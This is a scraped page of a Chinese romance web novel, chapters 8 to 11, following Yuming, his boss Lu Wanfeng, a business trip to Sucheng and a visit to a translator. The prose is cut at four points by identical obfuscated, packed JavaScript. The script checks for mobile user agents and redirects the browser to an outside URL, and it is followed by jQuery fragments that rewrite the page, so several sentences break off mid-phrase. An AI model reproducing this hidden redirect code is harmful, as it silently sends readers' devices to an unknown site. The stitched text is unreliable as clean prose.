;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955994|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼，里面全是“我可是有家室的人，你别乱说”。 香姐笑：“傅主编还在外面等我，所以麻烦你啦！” 钰茗这才接过文件。 走了两步又回头，用嘴型重申：“以后不准再开这种玩笑啦！” 香姐看着钰茗的背影，摸了摸下巴。 虽然路晚风来之后对他们都很好，也没有训斥过人，还让他们按时下班。 但多年的工作经验，以及对方过于辉煌的履历，总让她下意识的觉得，这个男人很不简单。 香姐回忆起那天晚上，路晚风主动提起可以带钰茗回家。 他似乎对钰茗有种天生的好感，该派钰茗去多搞搞关系，这样对钰茗将来工作升迁有利。 反正，他也不可能吃了钰茗。 -- 不久之前才发生过奇怪的争执，这会儿进去，气氛有些奇怪。 “那我先出去。”钰茗放下资料准备走。 “后天准备出差。” 钰茗下意识地点了点头。 干-他们这一行的，出差是家常便饭。 上半年的读书月，钰茗连轴转了整整一个月，经常上午在A城，下午回来，晚上又要赶去B城的飞机了。 点完头，猛地想起赵晨亮的信息。 钰茗只得开口询问：“主编，能否问一下这次要出去几天？” 路晚风看了眼电脑屏幕：“四五天，快的周日晚上回来，慢一点要到周一。” 钰茗呢-喃：“要到周一么？” 路晚风十指交叉：“怎么，有困难？” 钰茗咬了咬唇。 这个周末赵晨亮要回来，他得去接机，还想陪他过一过周末。 钰茗并不想让个人私事影响工作，但答应赵晨亮在先，而且他已经一年多没有见到对方了。 钰茗小声道：“可以安排其他同事去么？” 路晚风：“他们都跟我夸你，做数据记录和整理资料，都又快又好。” 钰茗：“大家都很优秀，我是最晚来的，经验还不足够。” 路晚风：“据我所知，目前办公室里，大家都很忙。” 钰茗带着点小小的心虚：“他们的工作都安排到我这里，我会认真完成的。” 路晚风叹了口气：“我知道你有事不想去，但其他同事都是女生，陪我出差不是很方便。” 绝杀。 钰茗无力反驳。 行吧，你赢了。 不对，是对工作的热爱战胜了私情。 门拉开又被轻声合上。 路晚风视线缓缓落回到前方的电脑屏幕上。 那上面根本没有什么工作安排，只有一个被打开的聊天窗口，上面有赵晨亮二十多分钟之前给他发送的信息。 赵晨亮：【学长，我这周末回来，聚一个呗。】 赵晨亮：【正好有个人也想带给你看看！】 路晚风垂眸，缓缓输入。 【抱歉，这周末有工作安排，下次吧。】 8. 第 8 章 钰茗回到工位上，已经是下班的时间点了。 香姐还没有回来，旁边几个在小声商量着晚饭吃什么。 钰茗拿起手机，又放下。 一手托腮烦恼着要如何跟赵晨亮说这件事。 “钰茗还不走？” 有人经过他身旁，问道。 钰茗笑着回：“我也准备走了。” 手上却一动不动。 手机屏幕暗掉，又被他唤醒，反复几次，依旧没能想出个所以然来。 -- “这么惨吗？”电话里，徐方南的声音里满是纠结，“好不容易赵晨亮能回来诶。” 知道路晚风继成为钰茗的邻居，又成了他的新任上司之后，徐方南特别关心他的情况，几乎每天下班都会打个电话来询问一下情况。 钰茗反手扣上门，提着垃圾袋往外走：“没办法，他都那么说了，我怎么拒绝？” 徐方南还没下班，手指把桌面敲得哒哒响：“你没有和他说赵晨亮的事情，或者让赵晨亮和他说一下情况？” 钰茗抿了抿唇。 若没有发生前面那件事，他应该会尝试一下。 但之前那次谈话的氛围之尴尬，他都不想去回忆，自然更不会在路晚风面前乱提有关赵晨亮的事情。 “我的工作，不应该让亮哥为难。” 徐方南重重“唉”了一声：“茗茗！你们的关系，让赵晨亮帮你做点事不是很正常吗？我有时候真觉得，你和赵晨亮一直卡在这里，就是因为你在感情上太理性了。” “理性……？” 徐方南：“你没发现吗，你在处理他的事情上，永远不会感情用事。” 钰茗小声辩驳：“我只是不想让他为难，毕竟我们相隔那么远，他工作又忙，我能少给他制造点麻烦也是好的。” 徐方南：“可这些事对他来说是麻烦吗？” 钰茗：“不是吗？” 徐方南沉沉的吐了一口气，钰茗猜测他此刻一定在翻白眼。 “赵晨亮喜欢你，就不会觉得你的事情是麻烦，反而会很想要为你解决困难。” 钰茗怔在那。 风吹得他手里的垃圾袋窸窣声一阵，旁边隐约有脚步声传来，他慢吞吞提着袋子走到垃圾房边上，丢进去，又转身往回走。 “这次还是算了，下次遇到——” “不行，你现在就去跟赵晨亮说！” “我一直没和他说新上司是路晚风。” 对面突然安静下来，好一会，才传来徐方南不可思议的声音：“你这都没告诉他？” 钰茗：“……嗯。” 徐方南：“茗茗，我有时候真的不懂你，你真的喜欢赵晨亮吗？” 钰茗猛地收住脚步：“我——” 他的语调轻而缓慢：“喜欢的吧，不然也不会等他那么多年了。” 赵晨亮是在他大三的时候出国，到现在两人分隔大洋两岸已经三年了。 这期间，很多人追过他，他却从来没有更改过自己的心意。 徐方南无奈道：“那你又为什么——” “算了算了！”他说到一半，“反正赵晨亮马上就要回来了，到时候你们每天待在一起，就不会有这些问题了。” 钰茗：“嗯嗯。” 徐方南：“嗯你个头！说起来我前两天和一个朋友说起路晚风回国的事情，他问我路晚风现在身材是不是还和之前一样好，我说我帮你问问钰茗。” 钰茗：“……” 徐方南：“依旧很帅是肯定的，身材呢？他现在看起来还运动吗？” 钰茗闭了闭眼，他想起上一次去书展的时候，徐方南问来的某个网红男作者帅不帅。听他说帅之后，非要让他去偷-拍一张照片。 若此刻夸了路晚风，方南这家伙一定会吵着要看照片！ 这种事情就该扼杀在摇篮里！ 钰茗面不改色诋毁：“他一天工作二十个小时，这种工作狂怎么可能有时间锻炼？” 徐方南：“可是我之前看过一个他在加国的报道，他侧着身，衣袖半挽，那个手臂线条好看的一笔。” “都是P的，就像电视里那些明星，脱了衣服那个身体，不忍直视。” 钰茗说得这么斩钉截铁，徐方南在失望中挂了电话。 钰茗轻呼了一口气，活动了一下长时间打电话举起的手臂，正要加快步子回家。 “晚上好。” 身后传来的声音让他猛地回头。 风很大。 还有乱七八糟的聊天说话声，车鸣声…… 被钰茗直勾勾盯着看了好几秒，路晚风摸了摸鼻子：“我脸上有东西？” 一切如常，路晚风看起来没听到他的“诋毁”。 钰茗笑眼弯弯：“没有，我回家了，主编再见！” 结果人还没到家，那股高兴劲儿还没结束，手机上跳出路晚风的信息。 Road：【带着电脑过来。】 钰茗：【又要打游戏？】 Road：【加班。】 钰茗：“……哦。” 这次是真万恶的资本主义了！ -- 钰茗再次推开路晚风家的门。 里面看起来和上次基本没有区别，也不可能有区别，路晚风这两天都不在家。 路晚风看起来已经洗过澡了，头发半干，总是梳起的刘海垂下来好几缕，莫名的带着一点人类的“热气”。 他的手旁放着一叠厚厚的资料，看着钰茗走过去，伸手把资料推到他面前：“这些我都看了一遍。” 这家伙不是中间还回了趟加国么？ 他到底哪来的美国时间看完这些的？ “挤挤总是有的。” 钰茗抬头。 路晚风敲了敲桌面：“时间。” 不是，他怎么知道我心里在想这个？ 路晚风的各种出乎意料的行为太多，钰茗逐渐适应，已经可以很好地控制自己的表情了。 至少不会再动不动露出震惊的模样来。 “主编，我需要做什么吗？” 工作的时候，钰茗还是更喜欢称呼路晚风为“主编”。 路晚风：“把这些材料再精简整理一下，做一份总结报告。” 钰茗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955995|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不解：“这些材料数据的总结，部门的半年度报表上都有，需要的话我去下载一份给你。” “那些我看过了，用不了。” “呃——” 路晚风：“报表上的东西千篇一律，毫无特色。我不想看那些浮夸的，没有生命力的东西，我想要更有说服力一点的。” 钰茗重复他的话：“生命力，说服力？” “当我把这些交出去的时候，最起码，能让人看到我们的真诚。” 钰茗发现，路晚风说话的时候，特别爱盯着人看。 也许不是爱看他，是对方的说话习惯。 路晚风自己可能不清楚，他盯着人看的时候，非常容易让人分神。 ——分神去看他的眼睛。 “有问题么？” 钰茗收拢心神，低头翻开资料：“没有，我先开始整理。” 资料有些多，钰茗索性把自己的电脑搬到了岛台另一侧，和路晚风面对面。 这些资料之前基本都是他整理的，也为此耗过很多个夜晚，香姐虽然赞赏他的工作态度，却也私下和他说不用这么累。等今年过去了，这些东西只会被堆到档案室里，根本没人在意。 但此刻，那些努力全部都成了具象化的东西。 敲击键盘的时候，只要想起一点细节，钰茗很快就能记起这些东西在资料的那一页。 令他觉得愉快的，是路晚风和他颇有共同见解，一些他觉得很重要的点，都被打上了大大小小的标记。 那种被看到的感觉，真的很想让人更努力一些。 不知不觉，电脑上的时间跳到了晚上十点半。 有提示信息弹出，是赵晨亮发来的。 刚才钰茗想和他聊出差的事情，他在开会，两人便约好了这会儿谈。 钰茗抬头，对面没人，路晚风不知去哪里了。 他舔了舔有些发干的唇，斟酌着要如何开口。 “你有健身的习惯吗？”耳畔突然传来一道低沉的声音。 路晚风不知什么时候，竟已走到了他的身旁。 钰茗下意识地关掉聊天窗口，看着路晚风拿着水壶帮他把水杯加满：“以前偶尔会，最近工作有点忙。” 他语调轻松，听起来像是寻常闲谈。 “我的健身习惯不错，也很认真。” “也被很多专业人士夸赞过身材不错。” 突然的话题让钰茗有些不知该怎么回答，只能睁大眼睛茫然看着他。 路晚风突然语调一转：“我觉得你对我有偏见。” “呃……” 钰茗瞳孔剧颤。 靠！ 他还是听到了！ 钰茗下意识想要起身，路晚风俯身下来，一手撑在他手侧的桌面上，宽大的身躯阴影几乎将他彻底笼住。 钰茗本能脖颈后仰，试图拉开一些距离，边干巴巴地解释：“我、我不是那个意思，我刚才只是——” 手被猝不及防抓起，按到那隔着白色T恤布料，依旧隐约能看到轮廓的结实小腹上。 路晚风看着他的眼睛：“我觉得，我应该证明一下自己。” 9. 第 9 章 若其他人这么做，钰茗绝对会认为这是性/骚/扰。 但换到路晚风身上—— 钰茗觉得自己可能更像那个试图骚/扰的人。 路晚风身上光环众多，喜欢他的人自然也多。 钰茗有关路晚风不算多的记忆里，就有很多他拒绝各种男男女女的画面。 而且路晚风从未说过他喜欢男的。 钰茗之前还和赵晨亮吐槽过，说他觉得路晚风可能就不喜欢任何人类。 说完还被赵晨亮很轻地敲了一下脑袋，笑他又在胡言乱语。 但钰茗是真这么认为的。 ——路晚风会那么做，纯粹只是雄性该死的胜负欲。 “再这么看我，空姐可能会觉得我们关系不一般了。” 耳畔传来越发熟悉的低沉声音，钰茗迅速收回视线，继续装模作样看起了手里的书。 “哦，那就让她们那么觉得吧，反正下了飞机谁也不认识谁。” 回应他的是一声很轻的笑：“那我需要表现得更明显一些么？” 钰茗：“……不用谢谢！” 今天他们运气似乎不是很好，登机大半个小时了，飞机依旧在机场转圈，始终没有起飞。 有人问，空姐也只是回答，说航道拥堵，需要再等待片刻。 手机震了震，提示有新的信息。 钰茗不用看也知道一定是赵晨亮。 那天徐方南的话到底没有影响到钰茗，他最后还是告诉赵晨亮，自己需要临时出差，应该没有办法陪他过周末了。 赵晨亮反应很大。 是钰茗从没有见过的大。 他和钰茗吵了一架，又冷战了一天，今天早上才再次联系钰茗。 只是说了两句，话题又转到了这件事上。 赵晨亮不能接受钰茗在答应他之后，又选择接受出差这件事。 ——我在你心里没有工作重要。 赵晨亮原话。 钰茗很想反问他，你不也经常因为工作忽略我么？ 这么回了，一定会再次吵架，这种吵架实在太幼稚了。且钰茗当时在准备出差最后的物品，也无心吵架。 钰茗不知道别人怎么想，但在他看来，工作是工作，生活是生活。 两者同样重要。 没有这个要给另外一个让步的道理，工作是保证美好生活的前提，生活可以为工作增添更多的活力。 他没有回应，手机又连着震了两震。 震动声在相对安静的商务座区域很明显，路晚风扭头过来看了他一眼。 同一时间，空姐过来提醒将移动设备调整为飞行模式或者关机，飞机马上要起飞了。 钰茗直接按下关机键，收起手机继续看书。 直到飞机上天，书页还是停留在最初的那一页上。 钰茗一点都没看进去信息可以不看不回，但无法避免不去想这件事。 视线余光里，路晚风又在记事本上写些什么。 知道这时候打扰对方不大好，钰茗还是很想和他说说话。 “路晚风。” 路晚风的笔顿了顿：“嗯？” 不谈工作，钰茗不怎么会称呼他为“主编”。 钰茗：“可以和你聊聊天吗？” 路晚风：“你说。” 钰茗：“你会为突然的工作打乱原先的生活安排吗？” 路晚风眯了眯眼睛：“我打乱你的安排了？” 这家伙是不是有些太敏感了！ 哪怕事实如此，钰茗还是迅速摇头否认：“不是，我随便问问。” 路晚风：“那你想要一个随便的回答吗？” 钰茗：“……不想。” 路晚风笑了笑：“你们不都叫我工作狂么？工作狂的话应该是工作最重要，其他事情都得让步吧？” “但其实不是这样的，需要分情况。” 路晚风合上笔记本，看向钰茗。 也不是什么要紧的问题，路晚风的态度莫名给人一种他很认真在思考和回复这个问题的感觉，而专注看人的双眼，又让钰茗觉得自己很被重视。 “在大部分情况下，工作大于生活，但如果这件事会严重影响到你的生活，那需要酌情考虑。” “我还没有夸张到那种程度。” 钰茗忍不住开口试探：“比如和恋人的约定。” 路晚风突然道：“你原先和赵晨亮约定好了？” 钰茗：“……你不要举列子到我身上来好么？！” 路晚风挑了挑眉：“是你先开始的这个话题。” 钰茗自暴自弃：“那我问问不行吗？” 路晚风收回视线，留给他线条凌厉的侧脸，声音冷淡：“我选择工作，这种事情，不至于。” 钰茗：“……” 不过聊天也有好处。后面的航程里，钰茗边看书边腹诽某人，没有再为和赵晨亮吵架争执的事情心烦。 -- 下飞机后，钰茗再次收到赵晨亮的信息。 冷静了小半天，他终于平复下来情绪，在信息里撒娇表示，这次就算了。但等他彻底回国，钰茗要休掉一整年的年假，用来陪他。 钰茗总算松了一口气，知道这件事算是彻底过了。 他今年的年假一直没有休，就是专门为赵晨亮留的。 “走路的时候别看手机。”肩膀被人揽着往侧方带了一下，钰茗被带着往侧面走了两步，抬头，这才发现自己差点撞上了前面的人。 他迅速收起手机，直到上了车，才回复赵晨亮，表示没问题。 钰茗之所以那么坚持出差，还有一个原因，是这次出差的地方是他的老家苏城。 虽然很不巧，父母都出去旅游了，但不影响钰茗想回来。 不知道别人怎么样，钰茗每隔一段时间，一定会找机会回家一次。不光为了和父母团聚，还有想要汲取“家的养分”。 如果说工作和梦想是前进的动力，那家，是永远可以让他休憩，然后再次用更饱满的情绪去工作的地方。 南城的家虽然也是家，但没了家乡这种特别意义，总让人觉得缺了点什么。 苏城是个锦绣如画的小城市，哪怕在萧瑟的秋冬，也依旧透着那种婉约的精致。 路晚风看起来似乎是第一次来，看到一些古建筑的时候，频频夸赞。 “有我们这的书店，尤其是一些独立书店，特别有地方特色。”钰茗很开心，“我以前放假的时候很喜欢满城乱转，基本把我们这所有的书店都逛完了。” 他语调一转：“可惜毕业后反倒是时间不多。” 手背被很轻地拍了一下：“办完事如果有空，你可以带我去转转。” 钰茗眨了眨眼睛：“那一定会有空。” -- 钰茗按照路晚风的要求，定了老城区的一家商务酒店。 老城区不可再建设或者大肆装修，就连商务酒店之类的也都是比较老旧的。 来之前担心路晚风这种对生活要求很高的大少爷会不满意，但对方下了车，看了一眼酒店外貌，表情未有任何变化，转身去车后面拿行李箱了。 钰茗跟过去，等他拿了自己的箱子，正要探身去拿自己的。 路晚风拉住他的手腕：“我来。” 钰茗：“我的箱子——” 路晚风直接抓着他的手腕把他拉到一边：“刚才是谁，拿一个箱子都差点没站稳？” 钰茗很想解释，自己只是单纯的坐飞机“后遗症”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955996|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从小到大，只要坐了一定时间的飞机，下飞机总会双腿发软，全身没啥力气。 稍微缓一缓就没事了。 但路晚风已经帮他把箱子拿下来，并且顺手拉着走了。他抿着唇跟在男人身后，慢慢往酒店大门走去。 不是什么旅游旺季，酒店房间很宽裕，给两人的房间都升了级，到了最顶层。 老城区的最顶层也高不到哪去，不过其他建筑也不高，站在里面依旧可以俯瞰一/大片城市景致。 钰茗看了一圈，很轻易在里面辨认出了几家书店的位置，在心里大致琢磨了一下走过去的时间。 如果等下吃了晚饭路晚风没有什么安排，他想过去看看。 结果，没等他询问安排，安排已经来了。 “晚上一起去健身。” 钰茗一口饭差点呛住：“健身？” 路晚风视线在他身上打量了一圈：“一个行李箱都提不动，不健身以后怎么办？” 钰茗用力咽下饭：“我那是有原因的！” 路晚风：“我们这一行也挺需要强健体魄的。” 钰茗：“……” 虽然路晚风健身“很好看”，钰茗还是更想要去周边的书店转转。 却似看穿了他想做什么，路晚风接着道：“我刚才和要去的地方联系了一下，那边下午才空，明天你有很多时间可以带我去逛独立书店。” 钰茗默了默，终于忍不住开口。 “主编，您是长在我肚子里的吗？” 怎么他想什么，这家伙都能猜得到！这太不科学了！ -- 这家酒店虽然老，健身设施却完善，健身房也很大，有上下两层。 眼下是非热门旅游时间，健身房里只有他们两人。 钰茗作为健身小白，那些专业器材都不敢随便鼓捣，最后选了一个可以位置上可以偷偷看二楼路晚风健身的跑步机，开了慢速模式慢慢跑步。 路晚风没管他，兀自做了一轮哑铃，准备上健身架的时候，手机响了起来。 是赵晨亮。 路晚风瞥了一眼楼下，钰茗还在那吭哧吭哧跑着，速度比一开始快了一些，看起来渐入佳境。 他接通电话。 赵晨亮周末回来，要去办理的事情上需要一点路晚风的人脉。 路晚风：“我出差在外，不在南城，这件事怕是帮不了你。” “出差？” 赵晨亮脑中有什么东西飞速闪过，细想却什么都抓不到，“学长你这么拼，还不如留在加国。” “国内的事情比较重要。” 赵晨亮：“那处理的怎么样了？” 路晚风抓起毛巾擦了一把被汗水浸润的脸：“进展还不错。” “路晚风！”在一层跑完二十分钟跑步机的家伙转移目标到了一侧的健身车上，两人之间距离有些远，是以他说话的声音颇大，“这个直接上去可以吗？” 赵晨亮听到声音：“有人在叫你？” 路晚风朝着钰茗点头表示可以：“没什么，下属似乎对我有点不满。” 赵晨亮哈哈一笑：“学长，我记得以前咱们研学小组里新来的几个就对你很不满，觉得你有些过于严格了。” 路晚风挑了挑眉：“是么？” 赵晨亮：“所以对人家好一点！” 路晚风的视线一直停留在钰茗身上。 看着他笨拙爬上健身车，疏于锻炼的身体左右晃动中，勾勒出纤细柔韧的腰线。 ——仿佛一手就能彻底搂住，拥入怀中。 路晚风漆黑的眼眸越发幽深，翻滚着似要侵覆一切的浪潮。 “放心，”他声音低沉而缓慢，近乎一字一顿，“我会好好照顾他的。” 10. 第 10 章 “这一家店主初心是做一个民宿，因为自己爱书，便把整个房子的客厅布置成了一个图书馆。她的独特品味和选书吸引了越来越多人来参观，很多外地的旅客也表示来入住是为了这个图书馆。后面店主索性将楼下的区域全部重装，改行开书店了，嗯，带着住宿的书店。” 钰茗边介绍，边领着路晚风走进这家名为“遇书”的书店。 “书店住宿这种概念在国外比较流行，国内的话算是她家第一个提出并实行，一度吸引了非常多热爱旅游写作的作者前来。我以前还在这见过好几个知名的网文作者。” 说起书店的一切，钰茗侃侃而言。 阳光照得他双眸璀璨，整个人似在发光。 路晚风的视线一直停在他身上：“确实，我在国外也见过一些提供住宿的书店，很有意思，也许我们可以考虑来这边住一晚。” 钰茗很认真地想了会：“应该不适合你。” 路晚风挑眉看他。 钰茗弯起眼睛：“因为没有健身房。” 路晚风：“。” 说话间，店主走了过来，见到钰茗，欣喜开口：“钰茗你来啦！” 店主是一个上了年纪的老太太，已经七十多岁了，慈祥和蔼。 “李阿姨好，好久不见呀” 钰茗从小喜欢到处逛书店，来的次数多了，便和李阿姨结缘成了忘年交。 不光“遇书”，他还认识城里不少独立书店的店主。 李阿姨看了眼路晚风，正要开口询问钰茗，路晚风指了指自己的手机，转身到外面接电话去了。 人刚消失在门口，李阿姨问钰茗：“男朋友？” 钰茗：“啊？” 李阿姨点了点门口方向：“很精神，品味不错。” 钰茗：“……是我上司。” 听钰茗这么说，李阿姨更加兴致勃勃：“把他变成你的男朋友！” 钰茗扶额：“我有对象的。” 李阿姨听到这一句，脸上的笑容立刻淡了：“就你那个一直不回来，忽悠着你的准对象？” 和香姐的克制暗示不同，李阿姨与钰茗相识多年，又是个快言快语的性子：“时不我待，有好的要抓紧，那些遥遥远远的，丢掉啦！” 万幸有新的客人进来，李阿姨要去招待，暂时放过了钰茗。 钰茗松了一口气，开始慢悠悠在熟悉的店内转悠。 李阿姨上了年纪，脑子却不冥顽古板，店内最醒目的书架上，摆放着当季最热门的新书，应有尽有。 钰茗伸手，把散乱在外的几本收回书架上，然后继续往前。 钰茗最喜欢的是李阿姨自己特别设立的““李芸娥读书角”。 李芸娥是老太太的名字，这个以自己名字命名的读书角，里面放的都是老太太自己读过，喜欢的书籍。若是有心，还会发现旁边有好几本读书笔记，都是老太太看过之后记录下来的。钰茗仔细看了一圈，较之上半年，书架上又多了不少新书，其中有一本，还是他参与编辑出版过程的。 钰茗伸手拿起老太太最新的读书笔记，想看看她对这本书的评价。 “钰茗？” 略显陌生又带着点熟悉的声音在耳边响起。 钰茗转头，见到人，第一时间又收回视线，继续翻看读书笔记。 “这样子光明正大装看不到有些不好吧？” 钰茗微吐一口气：“那我应该很开心和你打招呼，说蒋墨，好久不见？ 蒋墨轻笑道：“那也不需要，我们不是每个月的公司集会上都能遇到吗？” 钰茗朝天翻了个白眼。 蒋墨随手拿起放在旁边的一本书：“你不是编务么？出差还有来书店现场查看对接这类工作，应该不会安排到你身上吧？” “而且今天——”他抬眼看了下一旁的手绘日历，“也不是周末，你怎么有空跑来这里？” 这么嘲讽人，不想理也得理了。 钰茗小心放下老太太的笔记，转向他：“有能力的人，在什么岗位上都可以做自己想要做的事情。” 蒋墨脸色一变：“你什么意思？谁没能力？” 钰茗眨了眨眼睛：“只会偷东西的人，自然是没能力的，你说对么？” 蒋墨“啪”地放下书，这一声太大，旁边好几个人扭头过来看他，又只能暗暗咬牙把书叠好：“我好好通过考试，走流程进的公司，你自己没本事考不上，还诬陷别人，到底谁才是没能力的人？” 钰茗很“认真”地想了一会：“你。” 蒋墨没想到平日看起来温和好说话的钰茗，竟也有这种蛮横不讲理的时候，有些后悔自己没事来招惹他。 但已经这样了，他也不想在气势上输人：“这么有能耐，就考上编辑再好好和我比划吧！” “我当然会。”钰茗露出礼貌的微笑，“你也要注意哦，毕竟我听说过偷东西的人会——” 蒋墨内心警铃大作：“会怎么样？” 钰茗嘴角拉出一抹深沉的笑意：“会被抓到，然后——” 他干脆利落用手比划了一个喀嚓断开的动作，然后扭头继续不再搭理蒋墨。 屋内已经开了暖气，二十多度的温度里，蒋墨莫名打了个哆嗦。 他嘟囔了一声“神经病，懒得和你说话”，转身往外走去。 钰茗长缓缓呼出一口气。 蒋墨，那个和他同期参加考试，却在最后窃取他考试成果的人。至于为什么，他的电子试卷上的名字变成“蒋墨”，这件事已经无从去说理了，只能怪这个世界总有不公。 但也不算特别不公，最起码，他正常入职，有了再次得到那个岗位的机会。 -- 从总编那确认过一些信息后，路晚风回到书店，左右寻觅了一番，很快看到站在角落里的钰茗。 就在这时，一个瘦高青年走了过去。 路晚风脚步微顿。 隔着一段距离，听不到两人在说些什么，但能明显感觉到其中的不愉快。 不止那一道打破平静的“啪”，还有钰茗身上散发出来的那种抗拒。 没一会儿，那个青年走了过来。 擦肩而过的时候，视线落在他身上又很快移开。 路晚风的视线始终停留在钰茗身上。 钰茗性格是很好，很少生气。但若是别人弄得他不愉快，他也会立刻反击。 像一只有点脾气的小猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955997|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你对它好，它会很黏你，绕着你转；但若是你惹到它，一定会狠狠给你来一巴掌，绝不容情。 “刚才那个，你同事？”路晚风走过去问。 钰茗抿了抿唇：“算不上。” 他抬眼看了一眼路晚风，移开视线，“别的部门的，不管他了，你电话打完了吗？” 生硬转移话题。 更可疑了。 路晚风又在脑中回忆了一遍刚才那个青年的面容，浓眉渐笼。 -- 李阿姨好久没见钰茗，非要留两人吃饭。 钰茗不好拒绝，刚好路晚风又说要去的地方就在这边附近，两人便在这里用了餐。 吃完，路晚风说他想在书店里转一转，钰茗跟着李阿姨进了厨房帮忙洗碗。 老太太的厨房也是井井有条的，稍作收拾后，两人并肩一起洗碗。 两人随意拉扯了一些家常，差不多洗完的时候，李阿姨往后看了眼，确认没人后问钰茗：“你真的不考虑一下小路？” “我考虑不了，人家不可能看上我的。” 老太太皱起眉头：“为什么？我们茗茗又帅又优秀，配得上所有好青年。你要有想法，阿姨去帮你说！” 钰茗哭笑不得，只得下最后“狠药”：“就算我有想法也没用，人家喜欢女生的。” 说到这份上了，老太太只得死心了。 “刚才你说你们下午还要去办事？” 钰茗“嗯”着擦干最后一只盘子，正要放到架子上去，被老太太抢了过去：“那赶紧去，这些我来就行！” 知道老太太这说一不二的性子，钰茗笑着走出了厨房。 路晚风看起来已经在外面等他一会了，见到他，站起身：“走吧，差不多该去了。” 要去的地方离这边不远，步行就可以。 路上，路晚风告诉钰茗，他们这次是来找国内知名的翻译家“雨路”。 钰茗睁大双眼：“你说的是那个很厉害，精装译本本几乎是每个人收藏首选的雨路老师？” 他盼头四顾，“雨老师是我们苏城人？” 路晚风：“是的。” 钰茗有些激动：“我靠，网上有关他的消息太少了，没想到他竟然和我是一个地方的人。” 路晚风点头：“确实，总编也是费了不少功夫才弄到他家地址。” 钰茗：“那我们突然拜访，会不会太过冒昧？” 路晚风摸了摸鼻子：“我也许会，你不会。” 钰茗：“我不会？” 路晚风不语，钰茗有些莫名其妙：“这跟我有什么关系，难道我还认识人家雨路老师不成？” 路晚风弯起唇：“暂时保密，等下你就知道了。” 钰茗憋着好奇跟在路晚风后面走了一路，总算抵达目的地。 按过门铃，等人开门的间隙，钰茗憋不住道：“你这人怎么这么多秘密不能告诉人的？” 路晚风：“也不是都不能告诉人。” 钰茗眼睛一亮：“那还有什么是可以告诉我的？” 路晚风微微垂眸，视线落到他身上，再开口，声音里带上了淡淡的无奈。 “钰茗，我不喜欢女生。” 11. 第 11 章 门开了。 路晚风收回视线：“进去吧。” 钰茗跟在他身后，不知为何，眼前浮现地是刚才路晚风说话时候的口吻表情。 路晚风很少会欲言又止。 进门的瞬间，他顿了顿。 等等—— 是因为刚才自己说的那句“有想法也没什么用”吗？ 没等钰茗想更多，眼前走过来的人让他惊讶地睁大双眼。 “钰茗？” 钰茗激动道：“章老师！” 没想到他们来的竟然是高中数学老师的家里，钰茗忍不住转头看了一眼路晚风。 男人很轻摸了摸鼻子，笑着也同章老师打招呼。 高中毕业后，很难再有机会和以前的老师相聚。 上半年高中同学聚会，章老师因病没来，钰茗心里担忧，又因为工作繁忙一直没机会过来探望，只能电话短信联系关心。 钰茗走到章老师身边：“老师，真的好久没见了，您最近身体好点了吗？” “没事啦！”章老师笑着摸了摸他的头，“好几年了，你比之前高了。” 钰茗用力点头。 “也帅了。” 钰茗抿唇，耳朵尖有点发红。 很多人都夸过他帅，但老师夸的不一样，尤其是旁边还有个更帅的。 夸完人，章老师有些奇怪地看了一眼钰茗：“你怎么突然来了？旁边这位是之前联系的客人？” 钰茗：“我们一起的。” 将两人带来的礼物收好，章老师笑着将两人带往里面：“那来，老许已经等你们一会了。” 钰茗往前的脚步一顿。 老许？ 那不是章老师的丈夫么？ 书房的门被推开，钰茗睁圆双眼看着坐在里面的中年男人：“许、许老师？！” 章老师的丈夫，许易，之前也是钰茗高中的老师。在钰茗高一那年辞职了，同学们都说他是去创业了。 没想到是创这个业。 - 许易接过路晚风递过去的材料，扫了一遍，推了推眼镜，抬起眼来：“倒是比你们总编做的更细致一些。” 钰茗眼眸亮晶晶的，抿唇笑。 路晚风：“我只是希望许老师能感受到我们的诚意。” 许易放下材料：“你知道我的笔名为什么是雨路吗？” 路晚风眼里划过难得的困惑。 钰茗唇角笑意加深，总算有你不知道的了！ 他接话道：“因为章老师名字里的‘露’字！” 钰茗也是在进门的电光火石间想到这一点的，难怪越来越多的翻译家都改回自己的名字，雨路老师依旧岿然不动。 